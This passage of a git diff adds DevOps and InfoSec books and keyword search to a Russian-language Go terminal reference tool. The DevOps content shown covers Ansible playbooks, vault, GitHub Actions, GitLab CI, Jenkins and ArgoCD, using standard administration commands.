diff --git a/catalog/catalog.go b/catalog/catalog.go index 8608284..c9195c5 100644 --- a/catalog/catalog.go +++ b/catalog/catalog.go @@ -21,6 +21,8 @@ type Book struct { var All = []Book{ GoBook, LinuxBook, + DevOpsBook, + InfoSecBook, } // Find ищет книгу по ключу или алиасу @@ -66,8 +68,13 @@ func ShowMainMenu() { utils.ColorBold, utils.ColorGreen, utils.ColorReset) } -// RunInteractive — главный интерактивный цикл +// RunInteractive — главный интерактивный цикл (алиас) func RunInteractive(scanner *bufio.Scanner) { + RunInteractiveWithSearch(scanner) +} + +// RunInteractiveWithSearch — главный цикл с поддержкой поиска +func RunInteractiveWithSearch(scanner *bufio.Scanner) { for { ShowMainMenu() @@ -85,6 +92,38 @@ func RunInteractive(scanner *bufio.Scanner) { return } + // Поиск: /ansible или search ansible + query := "" + if strings.HasPrefix(input, "/") { + query = strings.TrimSpace(input[1:]) + } else if strings.HasPrefix(strings.ToLower(input), "search ") { + query = strings.TrimSpace(input[7:]) + } else if strings.ToLower(input) == "search" { + fmt.Printf("\n %s%sВведите поисковый запрос:%s ", utils.ColorBold, utils.ColorGreen, utils.ColorReset) + if scanner.Scan() { + query = strings.TrimSpace(scanner.Text()) + } + } + + if query != "" { + results := Search(query) + ShowSearchResults(query, results) + if len(results) > 0 { + fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — назад в меню):%s ", + utils.ColorBold, utils.ColorGreen, utils.ColorReset) + if scanner.Scan() { + choice := strings.TrimSpace(scanner.Text()) + if n, err := strconv.Atoi(choice); err == nil && n >= 1 && n <= len(results) { + fmt.Println() + results[n-1].RunFunc() + fmt.Printf("\n %s%s[Enter — вернуться в меню]%s ", utils.ColorDim, utils.ColorCyan, utils.ColorReset) + scanner.Scan() + } + } + } + continue + } + // По номеру if n, err := strconv.Atoi(input); err == nil { if n >= 1 && n <= len(All) { @@ -96,13 +135,13 @@ func RunInteractive(scanner *bufio.Scanner) { continue } - // По ключу + // По ключу справочника if b, ok := Find(input); ok { b.Run(scanner) continue } - fmt.Printf("\n %s%sНе понял '%s'. Введите номер или ключ справочника.%s\n", + fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ справочника, /запрос для поиска.%s\n", utils.ColorBold, utils.ColorRed, input, utils.ColorReset) } } @@ -113,16 +152,24 @@ func ShowHelp() { utils.Section("Запуск") utils.Command("./rubric", "главное меню") - utils.Command("./rubric -book go", "открыть справочник напрямую") + utils.Command("./rubric -book go", "открыть справочник") utils.Command("./rubric -book go -topic basics", "открыть конкретный раздел") + utils.Command("./rubric -search ansible", "поиск по всем справочникам") + utils.Command("./rubric -search 'sql injection'", "поиск по нескольким словам") utils.Command("./rubric -list", "список всех справочников и разделов") utils.Command("./rubric -help", "эта справка") fmt.Println() + utils.Section("Поиск в интерактивном режиме") + utils.Command("/ansible", "поиск по запросу (начать с /)") + utils.Command("search nmap", "поиск командой search") + utils.Command("search", "поиск (запросит строку)") + fmt.Println() + utils.Section("Доступные справочники") for _, b := range All { keys := append([]string{b.Key}, b.Aliases...) - fmt.Printf(" %s%s%-8s%s %-30s %sключи: %s%s\n", + fmt.Printf(" %s%s%-8s%s %-34s %sключи: %s%s\n", utils.ColorBold, utils.ColorCyan, b.Key, utils.ColorReset, b.Title, utils.ColorDim, strings.Join(keys, ", "), utils.ColorReset, diff --git a/catalog/devopsboo.go b/catalog/devopsboo.go new file mode 100644 index 0000000..56f7b2d --- /dev/null +++ b/catalog/devopsboo.go @@ -0,0 +1,99 @@ +package catalog + +import ( + "bufio" + "fmt" + "rubric/modules/devopsmodules" + "rubric/utils" + "strconv" + "strings" +) + +var DevOpsBook = Book{ + Key: "devops", + Aliases: []string{"do", "dev"}, + Title: "Справочник по DevOps", + Description: "Git, Docker, Kubernetes, CI/CD, Ansible, Terraform, мониторинг, Nginx", + Run: runDevOpsBook, +} + +func runDevOpsBook(scanner *bufio.Scanner) { + for { + showDevOpsMenu() + input, ok := ReadLine(scanner) + if !ok { + return + } + if input == "" { + continue + } + if IsQuit(input) { + fmt.Printf("\n %s%sДо свидания!%s\n\n", utils.ColorBold, utils.ColorCyan, utils.ColorReset) + return + } + if IsBack(input) { + return + } + if n, err := strconv.Atoi(input); err == nil { + if n >= 1 && n <= len(devopsmodules.All) { + devopsmodules.All[n-1].Run() + waitDevOpsBack(scanner) + continue + } + fmt.Printf("\n %s%sНомер %d вне диапазона (1–%d)%s\n", + utils.ColorBold, utils.ColorRed, n, len(devopsmodules.All), utils.ColorReset) + continue + } + if m, ok := devopsmodules.Find(input); ok { + m.Run() + waitDevOpsBack(scanner) + continue + } + fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ раздела, b — назад.%s\n", + utils.ColorBold, utils.ColorRed, input, utils.ColorReset) + } +} + +func showDevOpsMenu() { + utils.Header("Справочник DevOps") + fmt.Printf(" %s%sРазделы:%s\n\n", utils.ColorBold, utils.ColorWhite, utils.ColorReset) + for i, m := range devopsmodules.All { + aliases := "" + if len(m.Aliases) > 0 { + aliases = fmt.Sprintf("%s [%s]%s", utils.ColorDim, strings.Join(m.Aliases, ", "), utils.ColorReset) + } + fmt.Printf(" %s%s %2d.%s %s%-14s%s %s%-28s%s%s\n", + utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset, + utils.ColorYellow+utils.ColorBold, m.Key, utils.ColorReset, + utils.ColorWhite, m.Title, utils.ColorReset, aliases) + fmt.Printf(" %s%s%s\n\n", utils.ColorDim, m.Description, utils.ColorReset) + } + fmt.Printf(" %s%sРаздел (номер / ключ / b — главное меню / q — выход):%s ", + utils.ColorBold, utils.ColorGreen, utils.ColorReset) +} + +type devopsBackSignal struct{} + +func waitDevOpsBack(scanner *bufio.Scanner) { + fmt.Printf("\n %s%s[Enter — назад в меню DevOps, b — главное меню]%s ", + utils.ColorDim, utils.ColorCyan, utils.ColorReset) + if scanner.Scan() { + if IsBack(strings.TrimSpace(scanner.Text())) { + panic(devopsBackSignal{}) + } + } +} + +func init() { + orig := DevOpsBook.Run + DevOpsBook.Run = func(scanner *bufio.Scanner) { + defer func() { + if r := recover(); r != nil { + if _, ok := r.(devopsBackSignal); !ok { + panic(r) + } + } + }() + orig(scanner) + } +} diff --git a/catalog/infosecbook.go b/catalog/infosecbook.go new file mode 100644 index 0000000..6f453c0 --- /dev/null +++ b/catalog/infosecbook.go @@ -0,0 +1,99 @@ +package catalog + +import ( + "bufio" + "fmt" + "rubric/modules/infosecmodules" + "rubric/utils" + "strconv" + "strings" +) + +var InfoSecBook = Book{ + Key: "infosec", + Aliases: []string{"sec", "security", "is"}, + Title: "Справочник по InfoSec", + Description: "Основы ИБ, криптография, PKI/TLS, сетевая безопасность, OWASP, hardening, инструменты", + Run: runInfoSecBook, +} + +func runInfoSecBook(scanner *bufio.Scanner) { + for { + showInfoSecMenu() + input, ok := ReadLine(scanner) + if !ok { + return + } + if input == "" { + continue + } + if IsQuit(input) { + fmt.Printf("\n %s%sДо свидания!%s\n\n", utils.ColorBold, utils.ColorCyan, utils.ColorReset) + return + } + if IsBack(input) { + return + } + if n, err := strconv.Atoi(input); err == nil { + if n >= 1 && n <= len(infosecmodules.All) { + infosecmodules.All[n-1].Run() + waitInfoSecBack(scanner) + continue + } + fmt.Printf("\n %s%sНомер %d вне диапазона (1–%d)%s\n", + utils.ColorBold, utils.ColorRed, n, len(infosecmodules.All), utils.ColorReset) + continue + } + if m, ok := infosecmodules.Find(input); ok { + m.Run() + waitInfoSecBack(scanner) + continue + } + fmt.Printf("\n %s%sНе понял '%s'. Номер, ключ раздела, b — назад.%s\n", + utils.ColorBold, utils.ColorRed, input, utils.ColorReset) + } +} + +func showInfoSecMenu() { + utils.Header("Справочник InfoSec") + fmt.Printf(" %s%sРазделы:%s\n\n", utils.ColorBold, utils.ColorWhite, utils.ColorReset) + for i, m := range infosecmodules.All { + aliases := "" + if len(m.Aliases) > 0 { + aliases = fmt.Sprintf("%s [%s]%s", utils.ColorDim, strings.Join(m.Aliases, ", "), utils.ColorReset) + } + fmt.Printf(" %s%s %2d.%s %s%-12s%s %s%-30s%s%s\n", + utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset, + utils.ColorYellow+utils.ColorBold, m.Key, utils.ColorReset, + utils.ColorWhite, m.Title, utils.ColorReset, aliases) + fmt.Printf(" %s%s%s\n\n", utils.ColorDim, m.Description, utils.ColorReset) + } + fmt.Printf(" %s%sРаздел (номер / ключ / b — главное меню / q — выход):%s ", + utils.ColorBold, utils.ColorGreen, utils.ColorReset) +} + +type infosecBackSignal struct{} + +func waitInfoSecBack(scanner *bufio.Scanner) { + fmt.Printf("\n %s%s[Enter — назад в меню InfoSec, b — главное меню]%s ", + utils.ColorDim, utils.ColorCyan, utils.ColorReset) + if scanner.Scan() { + if IsBack(strings.TrimSpace(scanner.Text())) { + panic(infosecBackSignal{}) + } + } +} + +func init() { + orig := InfoSecBook.Run + InfoSecBook.Run = func(scanner *bufio.Scanner) { + defer func() { + if r := recover(); r != nil { + if _, ok := r.(infosecBackSignal); !ok { + panic(r) + } + } + }() + orig(scanner) + } +} diff --git a/catalog/search.go b/catalog/search.go new file mode 100644 index 0000000..b53c252 --- /dev/null +++ b/catalog/search.go @@ -0,0 +1,239 @@ +package catalog + +import ( + "fmt" + "rubric/modules/devopsmodules" + "rubric/modules/gomodules" + "rubric/modules/infosecmodules" + "rubric/modules/linuxmodules" + "rubric/utils" + "sort" + "strings" +) + +// SearchResult — одно совпадение поиска +type SearchResult struct { + BookKey string + BookTitle string + ModKey string + ModTitle string + ModDesc string + RunFunc func() + Score int // количество совпадений +} + +// searchEntry — унифицированная запись для поиска +type searchEntry struct { + bookKey string + bookTitle string + modKey string + modTitle string + modDesc string + keywords []string + run func() +} + +// Все записи для поиска — строим один раз +var allEntries = buildSearchIndex() + +func buildSearchIndex() []searchEntry { + entries := []searchEntry{} + + // Go + for _, m := range gomodules.All { + entries = append(entries, searchEntry{ + bookKey: "go", bookTitle: "Go", + modKey: m.Key, modTitle: m.Title, modDesc: m.Description, + keywords: gomodules.Keywords(m.Key), + run: m.Run, + }) + } + + // Linux + for _, m := range linuxmodules.All { + entries = append(entries, searchEntry{ + bookKey: "linux", bookTitle: "Linux", + modKey: m.Key, modTitle: m.Title, modDesc: m.Description, + keywords: linuxmodules.Keywords(m.Key), + run: m.Run, + }) + } + + // DevOps + for _, m := range devopsmodules.All { + entries = append(entries, searchEntry{ + bookKey: "devops", bookTitle: "DevOps", + modKey: m.Key, modTitle: m.Title, modDesc: m.Description, + keywords: devopsmodules.Keywords(m.Key), + run: m.Run, + }) + } + + // InfoSec + for _, m := range infosecmodules.All { + entries = append(entries, searchEntry{ + bookKey: "infosec", bookTitle: "InfoSec", + modKey: m.Key, modTitle: m.Title, modDesc: m.Description, + keywords: infosecmodules.Keywords(m.Key), + run: m.Run, + }) + } + + return entries +} + +// Search выполняет поиск по запросу, возвращает отсортированные результаты +func Search(query string) []SearchResult { + query = strings.ToLower(strings.TrimSpace(query)) + if query == "" { + return nil + } + + // Разбить запрос на слова + words := strings.Fields(query) + + var results []SearchResult + + for _, e := range allEntries { + score := 0 + + // Текст для поиска: ключевые слова + название + описание + searchText := strings.ToLower( + e.modKey + " " + + e.modTitle + " " + + e.modDesc + " " + + strings.Join(e.keywords, " "), + ) + + for _, word := range words { + if len(word) < 2 { + continue + } + // Точное совпадение в ключевых словах — больший вес + for _, kw := range e.keywords { + if strings.EqualFold(kw, word) { + score += 10 + } else if strings.Contains(strings.ToLower(kw), word) { + score += 5 + } + } + // Совпадение в ключе модуля + if strings.Contains(e.modKey, word) { + score += 8 + } + // Совпадение в названии + if strings.Contains(strings.ToLower(e.modTitle), word) { + score += 6 + } + // Совпадение в описании + if strings.Contains(strings.ToLower(e.modDesc), word) { + score += 3 + } + // Совпадение в общем тексте + if strings.Contains(searchText, word) && score == 0 { + score += 1 + } + } + + if score > 0 { + results = append(results, SearchResult{ + BookKey: e.bookKey, + BookTitle: e.bookTitle, + ModKey: e.modKey, + ModTitle: e.modTitle, + ModDesc: e.modDesc, + RunFunc: e.run, + Score: score, + }) + } + } + + // Сортировать по релевантности + sort.Slice(results, func(i, j int) bool { + return results[i].Score > results[j].Score + }) + + return results +} + +// ShowSearchResults выводит результаты поиска +func ShowSearchResults(query string, results []SearchResult) { + fmt.Printf("\n%s%s🔍 Поиск: \"%s\"%s\n\n", + utils.ColorBold, utils.ColorCyan, query, utils.ColorReset) + + if len(results) == 0 { + fmt.Printf(" %sНичего не найдено по запросу \"%s\"%s\n\n", + utils.ColorDim, query, utils.ColorReset) + fmt.Printf(" Попробуйте другие слова. Примеры: ansible, nmap, docker, jwt, selinux\n\n") + return + } + + fmt.Printf(" %s%sНайдено разделов: %d%s\n\n", + utils.ColorBold, utils.ColorGreen, len(results), utils.ColorReset) + + for i, r := range results { + bookColor := bookColorFor(r.BookKey) + fmt.Printf(" %s%s%2d.%s %s[%s]%s %s%-12s%s — %s%s%s\n", + utils.ColorBold, utils.ColorCyan, i+1, utils.ColorReset, + utils.ColorBold+bookColor, r.BookTitle, utils.ColorReset, + utils.ColorYellow+utils.ColorBold, r.ModKey, utils.ColorReset, + utils.ColorWhite, r.ModTitle, utils.ColorReset, + ) + fmt.Printf(" %s%s%s\n", + utils.ColorDim, r.ModDesc, utils.ColorReset) + fmt.Printf(" %sОткрыть: ./rubric -book %s -topic %s%s\n\n", + utils.ColorDim, r.BookKey, r.ModKey, utils.ColorReset) + } +} + +func bookColorFor(key string) string { + switch key { + case "go": + return utils.ColorCyan + case "linux": + return utils.ColorGreen + case "devops": + return utils.ColorMagenta + case "infosec": + return utils.ColorRed + } + return utils.ColorWhite +} + +// InteractiveSearch — интерактивный поиск с возможностью открыть раздел +func InteractiveSearch(query string, scanner interface { + Scan() bool + Text() string +}) { + results := Search(query) + ShowSearchResults(query, results) + + if len(results) == 0 { + return + } + + fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — пропустить):%s ", + utils.ColorBold, utils.ColorGreen, utils.ColorReset) + + if !scanner.Scan() { + return + } + input := strings.TrimSpace(scanner.Text()) + if input == "" { + return + } + + n := 0 + for _, ch := range input { + if ch >= '0' && ch <= '9' { + n = n*10 + int(ch-'0') + } else { + return + } + } + + if n >= 1 && n <= len(results) { + fmt.Println() + results[n-1].RunFunc() + } +} diff --git a/main.go b/main.go index 270432f..1f5aa1c 100644 --- a/main.go +++ b/main.go @@ -6,15 +6,19 @@ import ( "fmt" "os" "rubric/catalog" + "rubric/modules/devopsmodules" "rubric/modules/gomodules" + "rubric/modules/infosecmodules" "rubric/modules/linuxmodules" "rubric/utils" + "strings" ) func main() { - book := flag.String("book", "", "открыть справочник напрямую (go, linux)") + book := flag.String("book", "", "открыть справочник (go, linux, devops, infosec)") topic := flag.String("topic", "", "открыть раздел (используется вместе с -book)") - list := flag.Bool("list", false, "список всех справочников и разделов") + search := flag.String("search", "", "поиск по всем справочникам") + list := flag.Bool("list", false, "список всех справочников") help := flag.Bool("help", false, "справка по использованию") flag.Parse() @@ -24,19 +28,48 @@ func main() { catalog.ShowHelp() return } - if *list { catalog.ListAll() return } + // Поиск через флаг: ./rubric -search ansible + if *search != "" { + results := catalog.Search(*search) + catalog.ShowSearchResults(*search, results) + if len(results) > 0 { + fmt.Printf(" %s%sВведите номер раздела чтобы открыть (Enter — пропустить):%s ", + utils.ColorBold, utils.ColorGreen, utils.ColorReset) + if scanner.Scan() { + input := strings.TrimSpace(scanner.Text()) + if input != "" { + n := 0 + valid := true + for _, ch := range input { + if ch >= '0' && ch <= '9' { + n = n*10 + int(ch-'0') + } else { + valid = false + break + } + } + if valid && n >= 1 && n <= len(results) { + fmt.Println() + results[n-1].RunFunc() + } + } + } + } + return + } + // -book X -topic Y if *book != "" && *topic != "" { switch *book { case "go", "g", "golang": m, ok := gomodules.Find(*topic) if !ok { - fmt.Printf("\n %s%sРаздел '%s' не найден в справочнике Go.%s\n", + fmt.Printf("\n %s%sРаздел '%s' не найден в Go.%s\n", utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset) gomodules.ListModules() os.Exit(1) @@ -45,12 +78,30 @@ func main() { case "linux", "l", "lnx": m, ok := linuxmodules.Find(*topic) if !ok { - fmt.Printf("\n %s%sРаздел '%s' не найден в справочнике Linux.%s\n", + fmt.Printf("\n %s%sРаздел '%s' не найден в Linux.%s\n", utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset) linuxmodules.ListModules() os.Exit(1) } m.Run() + case "devops", "do", "dev": + m, ok := devopsmodules.Find(*topic) + if !ok { + fmt.Printf("\n %s%sРаздел '%s' не найден в DevOps.%s\n", + utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset) + devopsmodules.ListModules() + os.Exit(1) + } + m.Run() + case "infosec", "sec", "security", "is": + m, ok := infosecmodules.Find(*topic) + if !ok { + fmt.Printf("\n %s%sРаздел '%s' не найден в InfoSec.%s\n", + utils.ColorBold, utils.ColorRed, *topic, utils.ColorReset) + infosecmodules.ListModules() + os.Exit(1) + } + m.Run() default: fmt.Printf("\n %s%sСправочник '%s' не найден.%s\n", utils.ColorBold, utils.ColorRed, *book, utils.ColorReset) @@ -74,5 +125,5 @@ func main() { } // Интерактивный режим - catalog.RunInteractive(scanner) + catalog.RunInteractiveWithSearch(scanner) } diff --git a/modules/devopsmodules/devops_ansible.go b/modules/devopsmodules/devops_ansible.go new file mode 100644 index 0000000..e85f9a9 --- /dev/null +++ b/modules/devopsmodules/devops_ansible.go @@ -0,0 +1,264 @@ +package devopsmodules + +import ( + "rubric/utils" +) + +var AnsibleModule = Module{ + Key: "ansible", + Aliases: []string{"an", "ansible"}, + Title: "Ansible — управление конфигурацией", + Description: "Инвентарь, playbook, роли, модули, vault, динамический инвентарь", + Run: showAnsible, +} + +func showAnsible() { + utils.Header("DevOps — Ansible") + + utils.Section("Основы и установка") + utils.Code(`Ansible — agentless: работает через SSH, не требует агентов на хостах. +Push-модель: управляющая машина отправляет команды. + +# Установка: +pip install ansible # рекомендуется через pip +dnf install ansible # RHEL/Fedora +apt install ansible # Debian/Ubuntu + +ansible --version +ansible-galaxy collection install community.general`) + + utils.Section("Инвентарь (Inventory)") + utils.Code(`# /etc/ansible/hosts или ./inventory.ini: +# Статический инвентарь: + +[webservers] +web1.example.com +web2.example.com ansible_port=2222 + +[databases] +db1.example.com ansible_user=dbadmin + +[production:children] +webservers +databases + +[all:vars] +ansible_python_interpreter=/usr/bin/python3 + +# YAML-формат (inventory.yml): +all: + children: + webservers: + hosts: + web1.example.com: + http_port: 80 + web2.example.com: + databases: + hosts: + db1.example.com: + ansible_user: dbadmin`) + + utils.Println(utils.ColorBold + "Ad-hoc команды:" + utils.ColorReset) + utils.Command("ansible all -i inventory.ini -m ping", "проверить доступность хостов") + utils.Command("ansible webservers -m command -a 'uptime'", "выполнить команду") + utils.Command("ansible all -m shell -a 'df -h'", "через shell") + utils.Command("ansible webservers -m apt -a 'name=nginx state=present' -b", "установить пакет") + utils.Command("ansible all -m gather_facts --tree /tmp/facts", "собрать факты") + utils.Command("ansible all -m setup -a 'filter=ansible_os_family'", "конкретный факт") + + utils.Section("Playbook") + utils.Code(`# site.yml — основной playbook: +--- +- name: Настройка веб-серверов + hosts: webservers + become: yes # sudo + vars: + nginx_port: 80 + app_user: www-data + + pre_tasks: + - name: Обновить кэш пакетов + apt: + update_cache: yes + cache_valid_time: 3600 + + tasks: + - name: Установить nginx + package: + name: nginx + state: present + + - name: Скопировать конфигурацию + template: + src: templates/nginx.conf.j2 + dest: /etc/nginx/nginx.conf + owner: root + mode: '0644' + notify: Перезапустить nginx + + - name: Создать директорию приложения + file: + path: /var/www/myapp + state: directory + owner: "{{ app_user }}" + mode: '0755' + + - name: Убедиться что nginx запущен + service: + name: nginx + state: started + enabled: yes + + handlers: + - name: Перезапустить nginx + service: + name: nginx + state: restarted + +- name: Настройка баз данных + hosts: databases + become: yes + roles: + - role: postgresql + vars: + pg_version: 16`) + + utils.Println(utils.ColorBold + "Запуск playbook:" + utils.ColorReset) + utils.Command("ansible-playbook site.yml -i inventory.ini", "запустить") + utils.Command("ansible-playbook site.yml --check", "dry-run (без изменений)") + utils.Command("ansible-playbook site.yml --diff", "показать изменения файлов") + utils.Command("ansible-playbook site.yml --tags nginx", "только помеченные теги") + utils.Command("ansible-playbook site.yml --skip-tags debug", "пропустить теги") + utils.Command("ansible-playbook site.yml --limit web1.example.com", "только один хост") + utils.Command("ansible-playbook site.yml -e 'nginx_port=8080'", "переопределить переменную") + utils.Command("ansible-playbook site.yml -v", "verbose (-vvv для debug)") + + utils.Section("Модули (основные)") + utils.Code(`# Файлы и шаблоны: +copy: — скопировать файл с управляющей машины +template: — шаблон Jinja2 +file: — создать файл/директорию/ссылку +fetch: — скачать файл с хоста +lineinfile: — управление строками в файле +blockinfile: — управление блоками + +# Пакеты и сервисы: +package: / apt: / dnf: / yum: — пакеты +service: / systemd: — сервисы + +# Команды: +command: — выполнить команду (без shell) +shell: — выполнить через sh +raw: — без Python (для минимальных систем) +script: — выполнить локальный скрипт + +# Пользователи: +user: — управление пользователями +group: — управление группами +authorized_key: — SSH-ключи + +# Сеть: +uri: — HTTP-запросы +get_url: — скачать файл по URL +wait_for: — ждать порт/файл/условие`) + + utils.Section("Переменные и шаблоны Jinja2") + utils.Code(`# Приоритет переменных (от низкого к высокому): +# defaults → inventory → group_vars → host_vars → play vars → task vars → extra-vars + +# group_vars/webservers.yml: +nginx_version: "1.25" +nginx_worker_processes: auto + +# host_vars/web1.example.com.yml: +nginx_port: 8080 + +# Шаблон templates/nginx.conf.j2: +worker_processes {{ nginx_worker_processes }}; + +events { worker_connections 1024; } + +http { + server { + listen {{ nginx_port }}; + server_name {{ inventory_hostname }}; + + {% if ssl_enabled %} + listen 443 ssl; + ssl_certificate {{ ssl_cert_path }}; + {% endif %} + + {% for location in nginx_locations %} + location {{ location.path }} { + proxy_pass {{ location.backend }}; + } + {% endfor %} + } +} + +# Фильтры Jinja2: +{{ variable | default('fallback') }} +{{ list | join(', ') }} +{{ string | upper }} +{{ path | basename }} +{{ number | int }}`) + + utils.Section("Роли (Roles)") + utils.Code(`# Структура роли: +roles/ +└── nginx/ + ├── defaults/main.yml # переменные по умолчанию + ├── vars/main.yml # жёсткие переменные + ├── tasks/main.yml # задачи + ├── handlers/main.yml # обработчики + ├── templates/ # шаблоны Jinja2 + ├── files/ # статические файлы + ├── meta/main.yml # зависимости + └── README.md + +# Создать структуру: +ansible-galaxy role init roles/nginx + +# Использование роли в playbook: +- hosts: webservers + roles: + - nginx + - role: postgresql + vars: + pg_version: 16 + +# Установить роль из Galaxy: +ansible-galaxy install geerlingguy.nginx +# requirements.yml: +roles: + - name: geerlingguy.nginx + version: "3.2.0" +ansible-galaxy install -r requirements.yml`) + + utils.Section("Ansible Vault — шифрование секретов") + utils.Code(`# Зашифровать файл: +ansible-vault encrypt vars/secrets.yml +ansible-vault encrypt_string 'mypassword' --name db_password + +# Редактировать зашифрованный файл: +ansible-vault edit vars/secrets.yml + +# Просмотр: +ansible-vault view vars/secrets.yml + +# Расшифровать: +ansible-vault decrypt vars/secrets.yml + +# Изменить пароль: +ansible-vault rekey vars/secrets.yml + +# Использование в playbook: +ansible-playbook site.yml --ask-vault-pass +ansible-playbook site.yml --vault-password-file ~/.vault_pass + +# .vault_pass (файл с паролем, не коммитить!): +echo 'myVaultPassword' > ~/.vault_pass +chmod 600 ~/.vault_pass`) + + utils.Footer() +} diff --git a/modules/devopsmodules/devops_cicd.go b/modules/devopsmodules/devops_cicd.go new file mode 100644 index 0000000..dd88d10 --- /dev/null +++ b/modules/devopsmodules/devops_cicd.go @@ -0,0 +1,294 @@ +package devopsmodules + +import ( + "rubric/utils" +) + +var CicdModule = Module{ + Key: "cicd", + Aliases: []string{"ci", "cd", "pipeline"}, + Title: "CI/CD — непрерывная интеграция и доставка", + Description: "GitHub Actions, GitLab CI, Jenkins, принципы CI/CD", + Run: showCicd, +} + +func showCicd() { + utils.Header("DevOps — CI/CD") + + utils.Section("Принципы CI/CD") + utils.Code(`CI (Continuous Integration) — непрерывная интеграция: + - Разработчики часто коммитят в общую ветку + - Автоматически запускаются: сборка, тесты, линтинг + - Быстрая обратная связь (< 10 минут) + +CD (Continuous Delivery) — непрерывная доставка: + - Код всегда готов к деплою + - Деплой в staging автоматически + - В продакшн — одним кликом или автоматически + +Типичный пайплайн: + Коммит → Lint → Test → Build → Security scan → Deploy staging → Deploy prod + +Метрики: + Lead time — время от коммита до продакшна + Deploy freq — частота деплоев + MTTR — среднее время восстановления + Change fail % — процент неудачных деплоев`) + + utils.Section("GitHub Actions") + utils.Code(`# .github/workflows/ci.yml +name: CI/CD + +on: + push: + branches: [main, develop] + pull_request: + branches: [main] + +env: + REGISTRY: ghcr.io + IMAGE_NAME: ${{ github.repository }} + +jobs: + test: + runs-on: ubuntu-latest + services: + postgres: + image: postgres:16 + env: + POSTGRES_PASSWORD: secret + options: >- + --health-cmd pg_isready + --health-interval 10s + + steps: + - uses: actions/checkout@v4 + + - name: Set up Go + uses: actions/setup-go@v5 + with: + go-version: '1.22' + cache: true + + - name: Run tests + run: go test -v -race -coverprofile=coverage.out ./... + + - name: Upload coverage + uses: codecov/codecov-action@v4 + + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: golangci/golangci-lint-action@v4 + + build-and-push: + needs: [test, lint] + runs-on: ubuntu-latest + if: github.ref == 'refs/heads/main' + permissions: + contents: read + packages: write + + steps: + - uses: actions/checkout@v4 + + - name: Log in to registry + uses: docker/login-action@v3 + with: + registry: ${{ env.REGISTRY }} + username: ${{ github.actor }} + password: ${{ secrets.GITHUB_TOKEN }} + + - name: Build and push + uses: docker/build-push-action@v5 + with: + push: true + tags: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }} + cache-from: type=gha + cache-to: type=gha,mode=max + + deploy: + needs: build-and-push + runs-on: ubuntu-latest + environment: production # требует ручного подтверждения + + steps: + - name: Deploy to Kubernetes + uses: azure/k8s-deploy@v4 + with: + manifests: k8s/ + images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:${{ github.sha }}`) + + utils.Println(utils.ColorBold + "GitHub Actions — ключевые концепции:" + utils.ColorReset) + utils.Code(`Workflow — файл в .github/workflows/*.yml +Job — набор шагов, запускается на runner +Step — команда или action +Runner — виртуальная машина (ubuntu/windows/macos) +Action — переиспользуемый step (uses: actions/checkout@v4) +Secret — зашифрованные переменные (Settings → Secrets) +Environment — защищённая среда с approval (production, staging) +Matrix — параллельный запуск с разными параметрами: + +strategy: + matrix: + go: ['1.21', '1.22'] + os: [ubuntu-latest, macos-latest]`) + + utils.Section("GitLab CI/CD") + utils.Code(`# .gitlab-ci.yml +stages: + - test + - build + - deploy + +variables: + DOCKER_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA + +test: + stage: test + image: golang:1.22 + script: + - go test ./... + - go vet ./... + coverage: '/coverage: \d+\.\d+%/' + artifacts: + reports: + coverage_report: + coverage_format: cobertura + path: coverage.xml + +build: + stage: build + image: docker:24 + services: + - docker:24-dind + before_script: + - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY + script: + - docker build -t $DOCKER_IMAGE . + - docker push $DOCKER_IMAGE + only: + - main + +deploy_staging: + stage: deploy + script: + - kubectl set image deployment/myapp myapp=$DOCKER_IMAGE + environment: + name: staging + url: https://staging.example.com + only: + - main + +deploy_prod: + stage: deploy + script: + - kubectl set image deployment/myapp myapp=$DOCKER_IMAGE + environment: + name: production + url: https://example.com + when: manual # ручной запуск + only: + - main`) + + utils.Println(utils.ColorBold + "Встроенные переменные GitLab CI:" + utils.ColorReset) + utils.Code(`CI_COMMIT_SHA — полный SHA коммита +CI_COMMIT_SHORT_SHA — короткий SHA +CI_COMMIT_BRANCH — ветка +CI_COMMIT_TAG — тег (если есть) +CI_REGISTRY — адрес реестра (registry.gitlab.com) +CI_REGISTRY_IMAGE — полный путь образа +CI_PROJECT_NAME — имя проекта +CI_ENVIRONMENT_NAME — имя окружения`) + + utils.Section("Jenkins") + utils.Code(`// Jenkinsfile (Declarative Pipeline): +pipeline { + agent any + + environment { + DOCKER_CREDS = credentials('docker-hub') + KUBECONFIG = credentials('kubeconfig-prod') + } + + stages { + stage('Checkout') { + steps { checkout scm } + } + + stage('Test') { + steps { + sh 'go test ./...' + } + post { + always { + junit 'test-results.xml' + } + } + } + + stage('Build') { + steps { + sh """ + docker build -t myapp:${env.BUILD_NUMBER} . + docker tag myapp:${env.BUILD_NUMBER} myrepo/myapp:latest + """ + } + } + + stage('Push') { + steps { + sh """ + echo $DOCKER_CREDS_PSW | docker login -u $DOCKER_CREDS_USR --password-stdin + docker push myrepo/myapp:${env.BUILD_NUMBER} + """ + } + } + + stage('Deploy') { + when { branch 'main' } + steps { + input message: 'Деплоить в продакшн?' + sh "kubectl set image deployment/myapp myapp=myrepo/myapp:${env.BUILD_NUMBER}" + } + } + } + + post { + failure { + slackSend channel: '#alerts', message: "FAILED: ${env.JOB_NAME} ${env.BUILD_NUMBER}" + } + success { + slackSend channel: '#deployments', message: "DEPLOYED: ${env.JOB_NAME} ${env.BUILD_NUMBER}" + } + } +}`) + + utils.Section("ArgoCD — GitOps") + utils.Code(`GitOps — Git как единственный источник истины для инфраструктуры. +ArgoCD наблюдает за Git-репозиторием и синхронизирует кластер. + +# Установка: +kubectl create namespace argocd +kubectl apply -n argocd -f \ + https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml + +# CLI: +argocd login argocd.example.com + +# Создать приложение: +argocd app create myapp \ + --repo https://github.com/user/myapp \ + --path 